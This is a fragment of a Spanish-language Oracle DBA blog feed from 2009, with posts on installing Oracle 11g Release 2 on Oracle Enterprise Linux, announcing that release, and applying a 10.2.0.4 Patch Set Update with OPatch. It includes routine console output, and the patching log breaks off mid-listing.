&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFStYjbWE6DOwuHZsMEDFqoP5-CqF5Le5l2Ky8saqTjhh5TXjCNDTwYO35f6GATxHqN_F8K_dJTIoZdS8efsPXGLdzmzuibn0w7FRrzsiX0eaTZnPbJfHEN1mz0bjBOkXkdvv6AKGH7zI/s1600-h/11gR2.12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFStYjbWE6DOwuHZsMEDFqoP5-CqF5Le5l2Ky8saqTjhh5TXjCNDTwYO35f6GATxHqN_F8K_dJTIoZdS8efsPXGLdzmzuibn0w7FRrzsiX0eaTZnPbJfHEN1mz0bjBOkXkdvv6AKGH7zI/s400/11gR2.12.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;11. &lt;/span&gt;Y la acción empieza!&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4mIQJFOnnKpyQFl5aZ-FGxnOxI7XOmtl4_O9M4fZscKDBow7f9IM_mx_eqgWEkc3UiKJ274-Zaj84VCdzeu0m7l8wGInkFJE4eCc6m50JBJ06AHtIpSMLW5cZ1RtVsJBRcXe4qN5FUbI/s1600-h/11gR2.13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4mIQJFOnnKpyQFl5aZ-FGxnOxI7XOmtl4_O9M4fZscKDBow7f9IM_mx_eqgWEkc3UiKJ274-Zaj84VCdzeu0m7l8wGInkFJE4eCc6m50JBJ06AHtIpSMLW5cZ1RtVsJBRcXe4qN5FUbI/s400/11gR2.13.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En este equipo he instalado antes &lt;i&gt;Oracle 9.2&lt;/i&gt;, &lt;i&gt;10.2&lt;/i&gt; y &lt;i&gt;11.1&lt;/i&gt;, pero esta vez sentí que tomo más tiempo que en esas oportunidades.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpMn2H0QgHnyNgslx8ggmEatq1RRiFY5hKI4_txo0DlxbH95QgLGBLkHwLH1dQcj_1V4cfplDM_zdNzeaLHzv6QJO_9v-VtDOmfsb6vSmCI9g9JbYkECMjRH2vF7HBAO3l-4iIIRDU3U/s1600-h/11gR2.14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpMn2H0QgHnyNgslx8ggmEatq1RRiFY5hKI4_txo0DlxbH95QgLGBLkHwLH1dQcj_1V4cfplDM_zdNzeaLHzv6QJO_9v-VtDOmfsb6vSmCI9g9JbYkECMjRH2vF7HBAO3l-4iIIRDU3U/s400/11gR2.14.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;12. &lt;/span&gt;El paso final es ejecutar algunos &lt;i&gt;scripts&lt;/i&gt;, teniendo el cuidado de hacerlo con el usuario &lt;i&gt;root&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixqfRokhj8Os5XgsNjqbqV4lYCM_rn6dkrXauHMnTp_csRG-pEaNlAIcWYZLsOTSjLARqwYuwQuueG2Q8fOAQ6IBZ0nC0RvCgT_YISYcPK8C_4SESB7zslla5kFtfCp1tTnPDpTOjCEAU/s1600-h/11gR2.15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixqfRokhj8Os5XgsNjqbqV4lYCM_rn6dkrXauHMnTp_csRG-pEaNlAIcWYZLsOTSjLARqwYuwQuueG2Q8fOAQ6IBZ0nC0RvCgT_YISYcPK8C_4SESB7zslla5kFtfCp1tTnPDpTOjCEAU/s400/11gR2.15.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /u01/app/oraInventory/orainstRoot.sh
Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.

Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /u01/app/oracle/product/11.2.0/dbhome_1/root.sh
Running Oracle 11g root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/11.2.0/dbhome_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
   Copying dbhome to /usr/local/bin ...
   Copying oraenv to /usr/local/bin ...
   Copying coraenv to /usr/local/bin ...


Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
Finished product-specific root actions.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;13. &lt;/span&gt;Luego de ejecutados los &lt;i&gt;scripts&lt;/i&gt;, la instalación ha concluido.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ_vpddB6cnfl4MgCLBPqIbB47D_iNE1y7l7jb4phJA7bFf5Shs18VfXA-FiT8k_aIDjySxoyuXoKhrhSqWSC2ubgOODZK3HM_w6Tx94B_OhM4fGykQQTO1-5eIkTsqIJ8mzDBdcb-jgs/s1600-h/11gR2.16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ_vpddB6cnfl4MgCLBPqIbB47D_iNE1y7l7jb4phJA7bFf5Shs18VfXA-FiT8k_aIDjySxoyuXoKhrhSqWSC2ubgOODZK3HM_w6Tx94B_OhM4fGykQQTO1-5eIkTsqIJ8mzDBdcb-jgs/s400/11gR2.16.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Como habrán notado, la instalación del software es bastante similar a lo visto en versiones previas, lo que si resulta especial y bienvenido, es la posibilidad de dejar que &lt;i&gt;OUI&lt;/i&gt; nos ayude a corregir nuestros errores u omisiones al configurar el &lt;i&gt;kernel&lt;/i&gt;, en realidad la relación de cosas que puede corregir va un poco más allá, tal como pueden comprobar en la &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm#BABGICDD"&gt;documentación&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En un siguiente &lt;i&gt;Post&lt;/i&gt; les mostraré la creación de una base de datos con &lt;i&gt;dbca&lt;/i&gt;, que tiene también algunas novedades, estén atentos!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/09/11g-release-2-finalmente-disponible.html"&gt;11g Release 2 finalmente disponible!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/09/instalando-oracle-11g-release-2-en-oel.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTALfpituBRJzLwXQVIvnPWKo5uahXKJs_Hn4DcyzVQpwO_j3UavHDpD3rfm22yB_uhKW4YYm-C61YiYNq-LDBd1nWgvDgwibLpZy6w4HMu342XUVqudCAYCvX1Koegrabyfk7ROr_bXY/s72-c/11gR2.01.jpg" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8602042195143566654</guid><pubDate>Tue, 01 Sep 2009 20:30:00 +0000</pubDate><atom:updated>2009-09-03T23:35:42.651-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">11gR2</category><category domain="http://www.blogger.com/atom/ns#">News</category><title>11g Release 2 finalmente disponible!</title><description>&lt;div&gt;Luego de años que apareciera Oracle Database 11g Release 1, hace pocas horas &lt;b&gt;Oracle Corporation&lt;/b&gt; ha hecho &lt;a href="http://www.oracle.com/us/corporate/press/032365"&gt;pública&lt;/a&gt; la liberación de &lt;b&gt;&lt;i&gt;Oracle Database 11g Release 2&lt;/i&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;div&gt;El software puede ser obtenido desde ya en &lt;a href="http://www.oracle.com/technology/software/products/database/oracle11g"&gt;OTN&lt;/a&gt; &lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF_xMosjFU7VZwozl3OyLrKTH6viklbCIaAgAAg6av1wbTEz_ExVU3bePglIDMub_CfCummpRpGeiahNikm_k8Ql14HdyUEIZ7sIbshCCEU9AxbMvDg_sH5s_w64b0x2gJ52isKY0gh14/s1600-h/download.11g.R2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF_xMosjFU7VZwozl3OyLrKTH6viklbCIaAgAAg6av1wbTEz_ExVU3bePglIDMub_CfCummpRpGeiahNikm_k8Ql14HdyUEIZ7sIbshCCEU9AxbMvDg_sH5s_w64b0x2gJ52isKY0gh14/s400/download.11g.R2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;La relación de novedades que incluye esta nueva versión la pueden encontrar en &lt;a href="http://download.oracle.com/docs/cd/E11882_01/server.112/e10881/chapter1.htm#NEWFTCH1"&gt;New Features Guide&lt;/a&gt;. Si bien el software está disponible por el momento solo para &lt;b&gt;Linux&lt;/b&gt;, es de esperar que en breve vayan apareciendo las versiones correspondientes a otras plataformas.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Muy poco tiempo ha transcurrido como para hacer una evaluación del producto, de hecho recién lo estoy bajando de OTN (al igual que muchos de Uds. seguramente), por lo que en los próximos días podré escribir más sobre el tema, estén atentos! Pero entretanto pueden ir leyendo una de las primeras publicaciones sobre el tema, hecho por &lt;a href="http://www.pcworld.com/businesscenter/article/171192/oracle_11g_r2_makes_its_debut.html"&gt;PCWorld&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/09/instalando-oracle-11g-release-2-en-oel.html"&gt;Instalando Oracle 11g Release 2 en OEL 5.3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/09/11g-release-2-finalmente-disponible.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF_xMosjFU7VZwozl3OyLrKTH6viklbCIaAgAAg6av1wbTEz_ExVU3bePglIDMub_CfCummpRpGeiahNikm_k8Ql14HdyUEIZ7sIbshCCEU9AxbMvDg_sH5s_w64b0x2gJ52isKY0gh14/s72-c/download.11g.R2.jpg" width="72"/><thr:total>9</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-6295316184342599692</guid><pubDate>Wed, 15 Jul 2009 18:56:00 +0000</pubDate><atom:updated>2009-09-02T11:13:01.334-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">patching</category><title>Primer PSU ya está disponible, instalémoslo!</title><description>&lt;div&gt;Para complementar el &lt;a href="http://blog.e-dba.biz/2009/07/patch-set-updates.html"&gt;Post anterior&lt;/a&gt;, les aviso que ya está disponible desde ayer el primer &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt;, lo pueden encontrar en Metalink (My Oracle Support) como el &lt;b&gt;&lt;i&gt;Patch 8576156 - DATABASE PSU 10.2.0.4.1 (INCLUDES CPUJUL2009)&lt;/i&gt;&lt;/b&gt;. En este Post les indico cómo instalarlo, acompañenme en esta &lt;i&gt;aventura&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOn0CjwvICs27m7wZEgJ9DAvcxaoULk_4HoMKwj6O9PQptgHFeBBkEmSHymMe6kMGS2Y5jb85mIfgKgbLWzA_sHFNEboTqY529AJisbeMZxG6_MzPWJ-eeL79rhYCJdfdAB5lzr3HeoMiZ/s1600-h/PSU.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOn0CjwvICs27m7wZEgJ9DAvcxaoULk_4HoMKwj6O9PQptgHFeBBkEmSHymMe6kMGS2Y5jb85mIfgKgbLWzA_sHFNEboTqY529AJisbeMZxG6_MzPWJ-eeL79rhYCJdfdAB5lzr3HeoMiZ/s400/PSU.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Este &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt; está disponible para las siguientes plataformas:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sun Solaris SPARC (64-bit) / 21M&lt;/li&gt;
&lt;li&gt;Linux x86 / 11M&lt;/li&gt;
&lt;li&gt;Linux x86-64 / 16M&lt;/li&gt;
&lt;li&gt;HP-UX PA-RISC(64-bit) / 18M&lt;/li&gt;
&lt;li&gt;HP-UX Itanium / 30M &lt;/li&gt;
&lt;li&gt;IBM AIX on POWER Systems (64-bit) /13M&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;Aproveché a descargar la versión para &lt;b&gt;&lt;i&gt;Linux x86&lt;/b&gt;&lt;/i&gt; y al revisar los requisitos encontré el primer problema: debo tener el &lt;b&gt;OPatch 10.2.0.4.7&lt;/b&gt; o superior y en mi instalación tenía la versión &lt;b&gt;10.2.0.4.2&lt;/b&gt;. Esto me obligó a descargar la última versión, disponible como el &lt;b&gt;Patch 6880880&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj24ja0N9wpMqwwdEbVtV6QFK-_FEP1dHXWj_wvMgWC19MdiMxXV45Nz9hc2Ljp5-EpCe3T-LQUv1Yj9gxVObXpCaYdH-JODLxYh991n__HLTZKAivjXGICXg0Hbcv_q9Qu4mgkVF4AvvSa/s1600-h/opatch.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj24ja0N9wpMqwwdEbVtV6QFK-_FEP1dHXWj_wvMgWC19MdiMxXV45Nz9hc2Ljp5-EpCe3T-LQUv1Yj9gxVObXpCaYdH-JODLxYh991n__HLTZKAivjXGICXg0Hbcv_q9Qu4mgkVF4AvvSa/s400/opatch.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Con esto ya está superado el problema:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ opatch version
Invoking OPatch 10.2.0.4.7

OPatch Version: 10.2.0.4.7

OPatch succeeded.
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Todo listo para instalar el &lt;b&gt;PSU&lt;/b&gt;, pero primero verificamos que no entre en conflicto con algún &lt;b&gt;&lt;i&gt;one-off patch&lt;/i&gt;&lt;/b&gt; previamente instalado.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd 8576156
[oracle@urania 8576156]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir .
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.

PREREQ session

Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-41-59PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" passed.

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora bajamos la base de datos y aplicamos el &lt;b&gt;PSU&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.4.0 - Production on Wed Jul 15 12:37:56 2009

Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYS@test&gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

[oracle@urania 8576156]$ opatch apply
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-44-45PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '8576156' to OH '/u01/app/oracle/product/10.2.0/db_4'

Running prerequisite checks...
Provide your email address to be informed of security issues, install and
initiate Oracle Configuration Manager. Easier for you if you use your My
Oracle Support Email address/User Name.
Visit http://www.oracle.com/support/policies.html for details.
Email address/User Name:

You have not provided an email address for notification of security issues.
Do you wish to remain uninformed of security issues ([Y]es, [N]o) [N]:  &lt;span style="color: red; font-weight:bold;"&gt;Y&lt;/span&gt;

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/10.2.0/db_4')


Is the local system ready for patching? [y|n]
&lt;span style="color: red; font-weight:bold;"&gt;y&lt;/span&gt;
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '8576156' for restore. This might take a while...
Backing up files affected by the patch '8576156' for rollback. This might take a while...
Execution of 'sh /home/oracle/8576156/custom/scripts/pre -apply 8576156 ':


Return Code = 0

Patching component oracle.rdbms.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcodfdef.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kghs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgh.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kd4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdb4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr9ir24.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/ttcpip.o"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataManager.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataReports.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaFileManager.class"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/env_rdbms.mk"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/rfsd.o"

Patching component oracle.rdbms.util, 10.2.0.4.0...

Patching component oracle.rdbms.dbscripts, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdefr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbpp.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdmsu.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbstr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsum.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtjob.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtaqds.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmc.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmd.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlsby.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbcap.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/dbmssum.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/e1001000.sql"

Patching component oracle.rdbms, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kupp.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqn.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ctc.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qccpu                  b.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxe.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxs.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzvdv                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/sldbg                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdg.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkz.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/updex                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerhj                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ain.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerlx                  t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qkexr                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/atb.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qol.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksc.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qke.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/opipr                  s.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdl.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxto.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf9i                  r2.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir2t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb9ir2o.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdblc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kds.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst00.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst01.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst10.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst11.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/nsoqbc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/vop.o"
